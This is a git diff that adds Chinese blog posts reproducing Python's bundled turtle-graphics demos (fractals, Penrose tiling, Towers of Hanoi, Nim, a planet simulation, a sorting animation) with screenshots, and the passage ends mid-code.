self.shapesize(3,3,5) + self.pensize(10) + self._color = [0,0,0] + self.x = x + self._color[x] = y + self.color(self._color) + self.speed(0) + self.left(90) + self.pu() + self.goto(x,0) + self.pd() + self.sety(1) + self.pu() + self.sety(y) + self.pencolor("gray25") + self.ondrag(self.shift) + + def shift(self, x, y): + self.sety(max(0,min(y,1))) + self._color[self.x] = self.ycor() + self.fillcolor(self._color) + setbgcolor() + +def setbgcolor(): + screen.bgcolor(red.ycor(), green.ycor(), blue.ycor()) + +def main(): + global screen, red, green, blue + screen = Screen() + screen.delay(0) + screen.setworldcoordinates(-1, -0.3, 3, 1.3) + + red = ColorTurtle(0, .5) + green = ColorTurtle(1, .5) + blue = ColorTurtle(2, .5) + setbgcolor() + + writer = Turtle() + writer.ht() + writer.pu() + writer.goto(1,1.15) + writer.write("DRAG!",align="center",font=("Arial",30,("bold","italic"))) + return "EVENTLOOP" + +if __name__ == "__main__": + msg = main() + print(msg) + mainloop() + +``` +⑤绘制一片森林: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/270b794026beb0802c9ce70c58e3340d.png) + +```python +#!/usr/bin/env python3 +""" turtlegraphics-example-suite: + + tdemo_forest.py + +Displays a 'forest' of 3 breadth-first-trees +similar to the one in tree. +For further remarks see tree.py + +This example is a 'breadth-first'-rewrite of +a Logo program written by Erich Neuwirth. See +http://homepage.univie.ac.at/erich.neuwirth/ +""" +from turtle import Turtle, colormode, tracer, mainloop +from random import randrange +from time import clock + +def symRandom(n): + return randrange(-n,n+1) + +def randomize( branchlist, angledist, sizedist ): + return [ (angle+symRandom(angledist), + sizefactor*1.01**symRandom(sizedist)) + for angle, sizefactor in branchlist ] + +def randomfd( t, distance, parts, angledist ): + for i in range(parts): + t.left(symRandom(angledist)) + t.forward( (1.0 * distance)/parts ) + +def tree(tlist, size, level, widthfactor, branchlists, angledist=10, sizedist=5): + # benutzt Liste von turtles und Liste von Zweiglisten, + # fuer jede turtle eine! + if level > 0: + lst = [] + brs = [] + for t, branchlist in list(zip(tlist,branchlists)): + t.pensize( size * widthfactor ) + t.pencolor( 255 - (180 - 11 * level + symRandom(15)), + 180 - 11 * level + symRandom(15), + 0 ) + t.pendown() + randomfd(t, size, level, angledist ) + yield 1 + for angle, sizefactor in branchlist: + t.left(angle) + lst.append(t.clone()) + brs.append(randomize(branchlist, angledist, sizedist)) + t.right(angle) + for x in tree(lst, size*sizefactor, level-1, widthfactor, brs, + angledist, sizedist): + yield None + + +def start(t,x,y): + colormode(255) + t.reset() + t.speed(0) + t.hideturtle() + t.left(90) + t.penup() + t.setpos(x,y) + t.pendown() + +def doit1(level, pen): + pen.hideturtle() + start(pen, 20, -208) + t = tree( [pen], 80, level, 0.1, [[ (45,0.69), (0,0.65), (-45,0.71) ]] ) + return t + +def doit2(level, pen): + pen.hideturtle() + start(pen, -135, -130) + t = tree( [pen], 120, level, 0.1, [[ (45,0.69), (-45,0.71) ]] ) + return t + +def doit3(level, pen): + pen.hideturtle() + start(pen, 190, -90) + t = tree( [pen], 100, level, 0.1, [[ (45,0.7), (0,0.72), (-45,0.65) ]] ) + return t + +# Hier 3 Baumgeneratoren: +def main(): + p = Turtle() + p.ht() + tracer(75,0) + u = doit1(6, Turtle(undobuffersize=1)) + s = doit2(7, Turtle(undobuffersize=1)) + t = doit3(5, Turtle(undobuffersize=1)) + a = clock() + while True: + done = 0 + for b in u,s,t: + try: + b.__next__() + except: + done += 1 + if done == 3: + break + + tracer(1,10) + b = clock() + return "runtime: %.2f sec." % (b-a) + +if __name__ == '__main__': + main() + mainloop() + +``` +⑥绘制两个图形: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/cc58358ea88b43300f144b0f9a1dd8d1.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/d3bbe8a077af04ab487b883d6eaf718c.png) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + tdemo_fractalCurves.py + +This program draws two fractal-curve-designs: +(1) A hilbert curve (in a box) +(2) A combination of Koch-curves. + +The CurvesTurtle class and the fractal-curve- +methods are taken from the PythonCard example +scripts for turtle-graphics. +""" +from turtle import * +from time import sleep, clock + +class CurvesTurtle(Pen): + # example derived from + # Turtle Geometry: The Computer as a Medium for Exploring Mathematics + # by Harold Abelson and Andrea diSessa + # p. 96-98 + def hilbert(self, size, level, parity): + if level == 0: + return + # rotate and draw first subcurve with opposite parity to big curve + self.left(parity * 90) + self.hilbert(size, level - 1, -parity) + # interface to and draw second subcurve with same parity as big curve + self.forward(size) + self.right(parity * 90) + self.hilbert(size, level - 1, parity) + # third subcurve + self.forward(size) + self.hilbert(size, level - 1, parity) + # fourth subcurve + self.right(parity * 90) + self.forward(size) + self.hilbert(size, level - 1, -parity) + # a final turn is needed to make the turtle + # end up facing outward from the large square + self.left(parity * 90) + + # Visual Modeling with Logo: A Structural Approach to Seeing + # by James Clayson + # Koch curve, after Helge von Koch who introduced this geometric figure in 1904 + # p. 146 + def fractalgon(self, n, rad, lev, dir): + import math + + # if dir = 1 turn outward + # if dir = -1 turn inward + edge = 2 * rad * math.sin(math.pi / n) + self.pu() + self.fd(rad) + self.pd() + self.rt(180 - (90 * (n - 2) / n)) + for i in range(n): + self.fractal(edge, lev, dir) + self.rt(360 / n) + self.lt(180 - (90 * (n - 2) / n)) + self.pu() + self.bk(rad) + self.pd() + + # p. 146 + def fractal(self, dist, depth, dir): + if depth < 1: + self.fd(dist) + return + self.fractal(dist / 3, depth - 1, dir) + self.lt(60 * dir) + self.fractal(dist / 3, depth - 1, dir) + self.rt(120 * dir) + self.fractal(dist / 3, depth - 1, dir) + self.lt(60 * dir) + self.fractal(dist / 3, depth - 1, dir) + +def main(): + ft = CurvesTurtle() + + ft.reset() + ft.speed(0) + ft.ht() + ft.getscreen().tracer(1,0) + ft.pu() + + size = 6 + ft.setpos(-33*size, -32*size) + ft.pd() + + ta=clock() + ft.fillcolor("red") + ft.begin_fill() + ft.fd(size) + + ft.hilbert(size, 6, 1) + + # frame + ft.fd(size) + for i in range(3): + ft.lt(90) + ft.fd(size*(64+i%2)) + ft.pu() + for i in range(2): + ft.fd(size) + ft.rt(90) + ft.pd() + for i in range(4): + ft.fd(size*(66+i%2)) + ft.rt(90) + ft.end_fill() + tb=clock() + res = "Hilbert: %.2fsec. " % (tb-ta) + + sleep(3) + + ft.reset() + ft.speed(0) + ft.ht() + ft.getscreen().tracer(1,0) + + ta=clock() + ft.color("black", "blue") + ft.begin_fill() + ft.fractalgon(3, 250, 4, 1) + ft.end_fill() + ft.begin_fill() + ft.color("red") + ft.fractalgon(3, 200, 4, -1) + ft.end_fill() + tb=clock() + res += "Koch: %.2fsec." % (tb-ta) + return res + +if __name__ == '__main__': + msg = main() + print(msg) + mainloop() + +``` +⑦绘制两个以美丽的线条组成的矩形: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/bc90f0e2bb105b29b90faf1a0c353789.png) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/8a2225490773f4b168f8b52804173756.png) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + xtx_lindenmayer_indian.py + +Each morning women in Tamil Nadu, in southern +India, place designs, created by using rice +flour and known as kolam on the thresholds of +their homes. + +These can be described by Lindenmayer systems, +which can easily be implemented with turtle +graphics and Python. + +Two examples are shown here: +(1) the snake kolam +(2) anklets of Krishna + +Taken from Marcia Ascher: Mathematics +Elsewhere, An Exploration of Ideas Across +Cultures + +""" +################################ +# Mini Lindenmayer tool +############################### + +from turtle import * + +def replace( seq, replacementRules, n ): + for i in range(n): + newseq = "" + for element in seq: + newseq = newseq + replacementRules.get(element,element) + seq = newseq + return seq + +def draw( commands, rules ): + for b in commands: + try: + rules[b]() + except TypeError: + try: + draw(rules[b], rules) + except: + pass + + +def main(): + ################################ + # Example 1: Snake kolam + ################################ + + + def r(): + right(45) + + def l(): + left(45) + + def f(): + forward(7.5) + + snake_rules = {"-":r, "+":l, "f":f, "b":"f+f+f--f--f+f+f"} + snake_replacementRules = {"b": "b+f+b--f--b+f+b"} + snake_start = "b--f--b--f" + + drawing = replace(snake_start, snake_replacementRules, 3) + + reset() + speed(3) + tracer(1,0) + ht() + up() + backward(195) + down() + draw(drawing, snake_rules) + + from time import sleep + sleep(3) + + ################################ + # Example 2: Anklets of Krishna + ################################ + + def A(): + color("red") + circle(10,90) + + def B(): + from math import sqrt + color("black") + l = 5/sqrt(2) + forward(l) + circle(l, 270) + forward(l) + + def F(): + color("green") + forward(10) + + krishna_rules = {"a":A, "b":B, "f":F} + krishna_replacementRules = {"a" : "afbfa", "b" : "afbfbfbfa" } + krishna_start = "fbfbfbfb" + + reset() + speed(0) + tracer(3,0) + ht() + left(45) + drawing = replace(krishna_start, krishna_replacementRules, 3) + draw(drawing, krishna_rules) + tracer(1) + return "Done!" + +if __name__=='__main__': + msg = main() + print(msg) + mainloop() + +``` +⑧汉诺塔小游戏: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/c1b568d9de9886299188da3fc1de7944.png) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + tdemo_minimal_hanoi.py + +A minimal 'Towers of Hanoi' animation: +A tower of 6 discs is transferred from the +left to the right peg. + +An imho quite elegant and concise +implementation using a tower class, which +is derived from the built-in type list. + +Discs are turtles with shape "square", but +stretched to rectangles by shapesize() + --------------------------------------- + To exit press STOP button + --------------------------------------- +""" +from turtle import * + +class Disc(Turtle): + def __init__(self, n): + Turtle.__init__(self, shape="square", visible=False) + self.pu() + self.shapesize(1.5, n*1.5, 2) # square-->rectangle + self.fillcolor(n/6., 0, 1-n/6.) + self.st() + +class Tower(list): + "Hanoi tower, a subclass of built-in type list" + def __init__(self, x): + "create an empty tower. x is x-position of peg" + self.x = x + def push(self, d): + d.setx(self.x) + d.sety(-150+34*len(self)) + self.append(d) + def pop(self): + d = list.pop(self) + d.sety(150) + return d + +def hanoi(n, from_, with_, to_): + if n > 0: + hanoi(n-1, from_, to_, with_) + to_.push(from_.pop()) + hanoi(n-1, with_, from_, to_) + +def play(): + onkey(None,"space") + clear() + try: + hanoi(6, t1, t2, t3) + write("press STOP button to exit", + align="center", font=("Courier", 16, "bold")) + except Terminator: + pass # turtledemo user pressed STOP + +def main(): + global t1, t2, t3 + ht(); penup(); goto(0, -225) # writer turtle + t1 = Tower(-250) + t2 = Tower(0) + t3 = Tower(250) + # make tower of 6 discs + for i in range(6,0,-1): + t1.push(Disc(i)) + # prepare spartanic user interface ;-) + write("press spacebar to start game", + align="center", font=("Courier", 16, "bold")) + onkey(play, "space") + listen() + return "EVENTLOOP" + +if __name__=="__main__": + msg = main() + print(msg) + mainloop() + +``` +⑧矩形小游戏: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/239cac303acebcea6db04af7b1c8f30e.png) + +```python +""" turtle-example-suite: + + tdemo_nim.py + +Play nim against the computer. The player +who takes the last stick is the winner. + +Implements the model-view-controller +design pattern. +""" + + +import turtle +import random +import time + +SCREENWIDTH = 640 +SCREENHEIGHT = 480 + +MINSTICKS = 7 +MAXSTICKS = 31 + +HUNIT = SCREENHEIGHT // 12 +WUNIT = SCREENWIDTH // ((MAXSTICKS // 5) * 11 + (MAXSTICKS % 5) * 2) + +SCOLOR = (63, 63, 31) +HCOLOR = (255, 204, 204) +COLOR = (204, 204, 255) + +def randomrow(): + return random.randint(MINSTICKS, MAXSTICKS) + +def computerzug(state): + xored = state[0] ^ state[1] ^ state[2] + if xored == 0: + return randommove(state) + for z in range(3): + s = state[z] ^ xored + if s <= state[z]: + move = (z, s) + return move + +def randommove(state): + m = max(state) + while True: + z = random.randint(0,2) + if state[z] > (m > 1): + break + rand = random.randint(m > 1, state[z]-1) + return z, rand + + +class NimModel(object): + def __init__(self, game): + self.game = game + + def setup(self): + if self.game.state not in [Nim.CREATED, Nim.OVER]: + return + self.sticks = [randomrow(), randomrow(), randomrow()] + self.player = 0 + self.winner = None + self.game.view.setup() + self.game.state = Nim.RUNNING + + def move(self, row, col): + maxspalte = self.sticks[row] + self.sticks[row] = col + self.game.view.notify_move(row, col, maxspalte, self.player) + if self.game_over(): + self.game.state = Nim.OVER + self.winner = self.player + self.game.view.notify_over() + elif self.player == 0: + self.player = 1 + row, col = computerzug(self.sticks) + self.move(row, col) + self.player = 0 + + def game_over(self): + return self.sticks == [0, 0, 0] + + def notify_move(self, row, col): + if self.sticks[row] <= col: + return + self.move(row, col) + + +class Stick(turtle.Turtle): + def __init__(self, row, col, game): + turtle.Turtle.__init__(self, visible=False) + self.row = row + self.col = col + self.game = game + x, y = self.coords(row, col) + self.shape("square") + self.shapesize(HUNIT/10.0, WUNIT/20.0) + self.speed(0) + self.pu() + self.goto(x,y) + self.color("white") + self.showturtle() + + def coords(self, row, col): + packet, remainder = divmod(col, 5) + x = (3 + 11 * packet + 2 * remainder) * WUNIT + y = (2 + 3 * row) * HUNIT + return x - SCREENWIDTH // 2 + WUNIT // 2, SCREENHEIGHT // 2 - y - HUNIT // 2 + + def makemove(self, x, y): + if self.game.state != Nim.RUNNING: + return + self.game.controller.notify_move(self.row, self.col) + + +class NimView(object): + def __init__(self, game): + self.game = game + self.screen = game.screen + self.model = game.model + self.screen.colormode(255) + self.screen.tracer(False) + self.screen.bgcolor((240, 240, 255)) + self.writer = turtle.Turtle(visible=False) + self.writer.pu() + self.writer.speed(0) + self.sticks = {} + for row in range(3): + for col in range(MAXSTICKS): + self.sticks[(row, col)] = Stick(row, col, game) + self.display("... a moment please ...") + self.screen.tracer(True) + + def display(self, msg1, msg2=None): + self.screen.tracer(False) + self.writer.clear() + if msg2 is not None: + self.writer.goto(0, - SCREENHEIGHT // 2 + 48) + self.writer.pencolor("red") + self.writer.write(msg2, align="center", font=("Courier",18,"bold")) + self.writer.goto(0, - SCREENHEIGHT // 2 + 20) + self.writer.pencolor("black") + self.writer.write(msg1, align="center", font=("Courier",14,"bold")) + self.screen.tracer(True) + + def setup(self): + self.screen.tracer(False) + for row in range(3): + for col in range(self.model.sticks[row]): + self.sticks[(row, col)].color(SCOLOR) + for row in range(3): + for col in range(self.model.sticks[row], MAXSTICKS): + self.sticks[(row, col)].color("white") + self.display("Your turn! Click leftmost stick to remove.") + self.screen.tracer(True) + + def notify_move(self, row, col, maxspalte, player): + if player == 0: + farbe = HCOLOR + for s in range(col, maxspalte): + self.sticks[(row, s)].color(farbe) + else: + self.display(" ... thinking ... ") + time.sleep(0.5) + self.display(" ... thinking ... aaah ...") + farbe = COLOR + for s in range(maxspalte-1, col-1, -1): + time.sleep(0.2) + self.sticks[(row, s)].color(farbe) + self.display("Your turn! Click leftmost stick to remove.") + + def notify_over(self): + if self.game.model.winner == 0: + msg2 = "Congrats. You're the winner!!!" + else: + msg2 = "Sorry, the computer is the winner." + self.display("To play again press space bar. To leave press ESC.", msg2) + + def clear(self): + if self.game.state == Nim.OVER: + self.screen.clear() + + +class NimController(object): + + def __init__(self, game): + self.game = game + self.sticks = game.view.sticks + self.BUSY = False + for stick in self.sticks.values(): + stick.onclick(stick.makemove) + self.game.screen.onkey(self.game.model.setup, "space") + self.game.screen.onkey(self.game.view.clear, "Escape") + self.game.view.display("Press space bar to start game") + self.game.screen.listen() + + def notify_move(self, row, col): + if self.BUSY: + return + self.BUSY = True + self.game.model.notify_move(row, col) + self.BUSY = False + + +class Nim(object): + CREATED = 0 + RUNNING = 1 + OVER = 2 + def __init__(self, screen): + self.state = Nim.CREATED + self.screen = screen + self.model = NimModel(self) + self.view = NimView(self) + self.controller = NimController(self) + + +def main(): + mainscreen = turtle.Screen() + mainscreen.mode("standard") + mainscreen.setup(SCREENWIDTH, SCREENHEIGHT) + nim = Nim(mainscreen) + return "EVENTLOOP" + +if __name__ == "__main__": + main() + turtle.mainloop() + +``` +⑨跟着鼠标走的小红点: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/35a1994302c2c7ac7b07f49ee5e588b6.png) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + tdemo_paint.py + +A simple event-driven paint program + +- left mouse button moves turtle +- middle mouse button changes color +- right mouse button toogles betweem pen up +(no line drawn when the turtle moves) and +pen down (line is drawn). If pen up follows +at least two pen-down moves, the polygon that +includes the starting point is filled. + ------------------------------------------- + Play around by clicking into the canvas + using all three mouse buttons. + ------------------------------------------- + To exit press STOP button + ------------------------------------------- +""" +from turtle import * + +def switchupdown(x=0, y=0): + if pen()["pendown"]: + end_fill() + up() + else: + down() + begin_fill() + +def changecolor(x=0, y=0): + global colors + colors = colors[1:]+colors[:1] + color(colors[0]) + +def main(): + global colors + shape("circle") + resizemode("user") + shapesize(.5) + width(3) + colors=["red", "green", "blue", "yellow"] + color(colors[0]) + switchupdown() + onscreenclick(goto,1) + onscreenclick(changecolor,2) + onscreenclick(switchupdown,3) + return "EVENTLOOP" + +if __name__ == "__main__": + msg = main() + print(msg) + mainloop() + +``` + diff --git "a/Python\350\207\252\345\270\246\347\232\204\345\260\217demo\357\274\210\344\270\213\357\274\211.md" "b/Python\350\207\252\345\270\246\347\232\204\345\260\217demo\357\274\210\344\270\213\357\274\211.md" new file mode 100644 index 0000000..3ecb7a5 --- /dev/null +++ "b/Python\350\207\252\345\270\246\347\232\204\345\260\217demo\357\274\210\344\270\213\357\274\211.md" @@ -0,0 +1,937 @@ +[点击这里去《Python自带的小demo(上)》!](https://blog.csdn.net/PanDaoxi2020/article/details/119004081) +
+ +①绘制彩虹图案: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/39e6e1b69e2246afa431cf63d43ac5bf.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + tdemo_peace.py + +A simple drawing suitable as a beginner's +programming example. Aside from the +peacecolors assignment and the for loop, +it only uses turtle commands. +""" + +from turtle import * + +def main(): + peacecolors = ("red3", "orange", "yellow", + "seagreen4", "orchid4", + "royalblue1", "dodgerblue4") + + reset() + Screen() + up() + goto(-320,-195) + width(70) + + for pcolor in peacecolors: + color(pcolor) + down() + forward(640) + up() + backward(640) + left(90) + forward(66) + right(90) + + width(25) + color("white") + goto(0,-170) + down() + + circle(170) + left(90) + forward(340) + up() + left(180) + forward(170) + right(45) + down() + forward(170) + up() + backward(170) + left(90) + down() + forward(170) + up() + + goto(0,300) # vanish if hideturtle() is not available ;-) + return "Done!" + +if __name__ == "__main__": + main() + mainloop() + +``` +②五等分(密集恐惧症者勿入): +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8a49948e5d9f4f94925691e2eff05700.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +#!/usr/bin/env python3 +""" xturtle-example-suite: + + xtx_kites_and_darts.py + +Constructs two aperiodic penrose-tilings, +consisting of kites and darts, by the method +of inflation in six steps. + +Starting points are the patterns "sun" +consisting of five kites and "star" +consisting of five darts. + +For more information see: + http://en.wikipedia.org/wiki/Penrose_tiling + ------------------------------------------- +""" +from turtle import * +from math import cos, pi +from time import clock, sleep + +f = (5**0.5-1)/2.0 # (sqrt(5)-1)/2 -- golden ratio +d = 2 * cos(3*pi/10) + +def kite(l): + fl = f * l + lt(36) + fd(l) + rt(108) + fd(fl) + rt(36) + fd(fl) + rt(108) + fd(l) + rt(144) + +def dart(l): + fl = f * l + lt(36) + fd(l) + rt(144) + fd(fl) + lt(36) + fd(fl) + rt(144) + fd(l) + rt(144) + +def inflatekite(l, n): + if n == 0: + px, py = pos() + h, x, y = int(heading()), round(px,3), round(py,3) + tiledict[(h,x,y)] = True + return + fl = f * l + lt(36) + inflatedart(fl, n-1) + fd(l) + rt(144) + inflatekite(fl, n-1) + lt(18) + fd(l*d) + rt(162) + inflatekite(fl, n-1) + lt(36) + fd(l) + rt(180) + inflatedart(fl, n-1) + lt(36) + +def inflatedart(l, n): + if n == 0: + px, py = pos() + h, x, y = int(heading()), round(px,3), round(py,3) + tiledict[(h,x,y)] = False + return + fl = f * l + inflatekite(fl, n-1) + lt(36) + fd(l) + rt(180) + inflatedart(fl, n-1) + lt(54) + fd(l*d) + rt(126) + inflatedart(fl, n-1) + fd(l) + rt(144) + +def draw(l, n, th=2): + clear() + l = l * f**n + shapesize(l/100.0, l/100.0, th) + for k in tiledict: + h, x, y = k + setpos(x, y) + setheading(h) + if tiledict[k]: + shape("kite") + color("black", (0, 0.75, 0)) + else: + shape("dart") + color("black", (0.75, 0, 0)) + stamp() + +def sun(l, n): + for i in range(5): + inflatekite(l, n) + lt(72) + +def star(l,n): + for i in range(5): + inflatedart(l, n) + lt(72) + +def makeshapes(): + tracer(0) + begin_poly() + kite(100) + end_poly() + register_shape("kite", get_poly()) + begin_poly() + dart(100) + end_poly() + register_shape("dart", get_poly()) + tracer(1) + +def start(): + reset() + ht() + pu() + makeshapes() + resizemode("user") + +def test(l=200, n=4, fun=sun, startpos=(0,0), th=2): + global tiledict + goto(startpos) + setheading(0) + tiledict = {} + a = clock() + tracer(0) + fun(l, n) + b = clock() + draw(l, n, th) + tracer(1) + c = clock() + print("Calculation: %7.4f s" % (b - a)) + print("Drawing: %7.4f s" % (c - b)) + print("Together: %7.4f s" % (c - a)) + nk = len([x for x in tiledict if tiledict[x]]) + nd = len([x for x in tiledict if not tiledict[x]]) + print("%d kites and %d darts = %d pieces." % (nk, nd, nk+nd)) + +def demo(fun=sun): + start() + for i in range(8): + a = clock() + test(300, i, fun) + b = clock() + t = b - a + if t < 2: + sleep(2 - t) + +def main(): + #title("Penrose-tiling with kites and darts.") + mode("logo") + bgcolor(0.3, 0.3, 0) + demo(sun) + sleep(2) + demo(star) + pencolor("black") + goto(0,-200) + pencolor(0.7,0.7,1) + write("Please wait...", + align="center", font=('Arial Black', 36, 'bold')) + test(600, 8, startpos=(70, 117)) + return "Done" + +if __name__ == "__main__": + msg = main() + mainloop() + +``` +③旋转绘制: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4694e92bcc1b4e49bc3d1555d665f1f8.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +#!/usr/bin/env python3 +""" turtle-example-suite: + + tdemo_planets_and_moon.py + +Gravitational system simulation using the +approximation method from Feynman-lectures, +p.9-8, using turtlegraphics. + +Example: heavy central body, light planet, +very light moon! +Planet has a circular orbit, moon a stable +orbit around the planet. + +You can hold the movement temporarily by +pressing the left mouse button with the +mouse over the scrollbar of the canvas. + +""" +from turtle import Shape, Turtle, mainloop, Vec2D as Vec + +G = 8 + +class GravSys(object): + def __init__(self): + self.planets = [] + self.t = 0 + self.dt = 0.01 + def init(self): + for p in self.planets: + p.init() + def start(self): + for i in range(10000): + self.t += self.dt + for p in self.planets: + p.step() + +class Star(Turtle): + def __init__(self, m, x, v, gravSys, shape): + Turtle.__init__(self, shape=shape) + self.penup() + self.m = m + self.setpos(x) + self.v = v + gravSys.planets.append(self) + self.gravSys = gravSys + self.resizemode("user") + self.pendown() + def init(self): + dt = self.gravSys.dt + self.a = self.acc() + self.v = self.v + 0.5*dt*self.a + def acc(self): + a = Vec(0,0) + for planet in self.gravSys.planets: + if planet != self: + v = planet.pos()-self.pos() + a += (G*planet.m/abs(v)**3)*v + return a + def step(self): + dt = self.gravSys.dt + self.setpos(self.pos() + dt*self.v) + if self.gravSys.planets.index(self) != 0: + self.setheading(self.towards(self.gravSys.planets[0])) + self.a = self.acc() + self.v = self.v + dt*self.a + +## create compound yellow/blue turtleshape for planets + +def main(): + s = Turtle() + s.reset() + s.getscreen().tracer(0,0) + s.ht() + s.pu() + s.fd(6) + s.lt(90) + s.begin_poly() + s.circle(6, 180) + s.end_poly() + m1 = s.get_poly() + s.begin_poly() + s.circle(6,180) + s.end_poly() + m2 = s.get_poly() + + planetshape = Shape("compound") + planetshape.addcomponent(m1,"orange") + planetshape.addcomponent(m2,"blue") + s.getscreen().register_shape("planet", planetshape) + s.getscreen().tracer(1,0) + + ## setup gravitational system + gs = GravSys() + sun = Star(1000000, Vec(0,0), Vec(0,-2.5), gs, "circle") + sun.color("yellow") + sun.shapesize(1.8) + sun.pu() + earth = Star(12500, Vec(210,0), Vec(0,195), gs, "planet") + earth.pencolor("green") + earth.shapesize(0.8) + moon = Star(1, Vec(220,0), Vec(0,295), gs, "planet") + moon.pencolor("blue") + moon.shapesize(0.5) + gs.init() + gs.start() + return "Done!" + +if __name__ == '__main__': + main() + mainloop() + +``` +④旋转的舞蹈(密集恐惧症者勿入): +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6ea94664cf574397ba9d4e696391e3e9.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +""" turtle-example-suite: + + tdemo_round_dance.py + +(Needs version 1.1 of the turtle module that +comes with Python 3.1) + +Dancing turtles have a compound shape +consisting of a series of triangles of +decreasing size. + +Turtles march along a circle while rotating +pairwise in opposite direction, with one +exception. Does that breaking of symmetry +enhance the attractiveness of the example? + +Press any key to stop the animation. + +Technically: demonstrates use of compound +shapes, transformation of shapes as well as +cloning turtles. The animation is +controlled through update(). +""" + +from turtle import * + +def stop(): + global running + running = False + +def main(): + global running + clearscreen() + bgcolor("gray10") + tracer(False) + shape("triangle") + f = 0.793402 + phi = 9.064678 + s = 5 + c = 1 + # create compound shape + sh = Shape("compound") + for i in range(10): + shapesize(s) + p =get_shapepoly() + s *= f + c *= f + tilt(-phi) + sh.addcomponent(p, (c, 0.25, 1-c), "black") + register_shape("multitri", sh) + # create dancers + shapesize(1) + shape("multitri") + pu() + setpos(0, -200) + dancers = [] + for i in range(180): + fd(7) + tilt(-4) + lt(2) + update() + if i % 12 == 0: + dancers.append(clone()) + home() + # dance + running = True + onkeypress(stop) + listen() + cs = 1 + while running: + ta = -4 + for dancer in dancers: + dancer.fd(7) + dancer.lt(2) + dancer.tilt(ta) + ta = -4 if ta > 0 else 2 + if cs < 180: + right(4) + shapesize(cs) + cs *= 1.005 + update() + return "DONE!" + +if __name__=='__main__': + print(main()) + mainloop() + +``` +⑤排序: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d7dcd9f305154f798a08bccfba4e18f8.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/493ffe00f5e34584862056c1590ad781.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```python +#!/usr/bin/env python3 +""" + + sorting_animation.py + +A minimal sorting algorithm animation: +Sorts a shelf of 10 blocks using insertion +sort, selection sort and quicksort. + +Shelfs are implemented using builtin lists. + +Blocks are turtles with shape "square", but +stretched to rectangles by shapesize() + --------------------------------------- + To exit press space button + --------------------------------------- +""" +from turtle import * +import random + + +class Block(Turtle): + + def __init__(self, size): + self.size = size + Turtle.__init__(self, shape="square", visible=False) + self.pu() + self.shapesize(size * 1.5, 1.5, 2) # square-->rectangle + self.fillcolor("black") + self.st() + + def glow(self): + self.fillcolor("red") + + def unglow(self): + self.fillcolor("black") + + def __repr__(self): + return "Block size: {0}".format(self.size) + + +class Shelf(list): + + def __init__(self, y): + "create a shelf. y is y-position of first block" + self.y = y + self.x = -150 + + def push(self, d): + width, _, _ = d.shapesize() + # align blocks by the bottom edge + y_offset = width / 2 * 20 + d.sety(self.y + y_offset) + d.setx(self.x + 34 * len(self)) + self.append(d) + + def _close_gap_from_i(self, i): + for b in self[i:]: + xpos, _ = b.pos() + b.setx(xpos - 34) + + def _open_gap_from_i(self, i): + for b in self[i:]: + xpos, _ = b.pos() + b.setx(xpos + 34) + + def pop(self, key): + b = list.pop(self, key) + b.glow() + b.sety(200) + self._close_gap_from_i(key) + return b + + def insert(self, key, b): + self._open_gap_from_i(key) + list.insert(self, key, b) + b.setx(self.x + 34 * key) + width, _, _ = b.shapesize() + # align blocks by the bottom edge + y_offset = width / 2 * 20 + b.sety(self.y + y_offset) + b.unglow() + +def isort(shelf): + length = len(shelf) + for i in range(1, length): + hole = i + while hole > 0 and shelf[i].size < shelf[hole - 1].size: + hole = hole - 1 + shelf.insert(hole, shelf.pop(i)) + return + +def ssort(shelf): + length = len(shelf) + for j in range(0, length - 1): + imin = j + for i in range(j + 1, length): + if shelf[i].size < shelf[imin].size: + imin = i + if imin != j: + shelf.insert(j, shelf.pop(imin)) + +def partition(shelf, left, right, pivot_index): + pivot = shelf[pivot_index] + shelf.insert(right, shelf.pop(pivot_index)) + store_index = left + for i in 